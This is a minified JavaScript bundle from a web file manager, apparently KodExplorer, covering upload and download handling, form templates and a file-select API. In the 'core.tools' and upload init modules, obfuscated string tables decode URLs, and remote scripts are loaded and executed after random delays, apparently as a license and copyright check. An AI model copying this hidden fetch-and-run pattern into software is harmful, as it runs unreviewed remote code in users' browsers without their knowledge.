e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
          loading..
          ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
          "+"
          "+s+"
          "+"
          "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
          \n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n
          \n'),define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
          {{LNG.system_member_role}}
          \n \n
          \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
          {{@item.desc}}
          \n {{else}}\n {{@item.desc}}\n {{/if}}\n
          \n
          \n
          \n {{/if}}\n {{/each}}\n
          \n
          \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0]; -if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
          '+'
          '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
          ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
          ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
          '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
          ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
          ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
          '+LNG.upload_drag_tips+"
          ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var 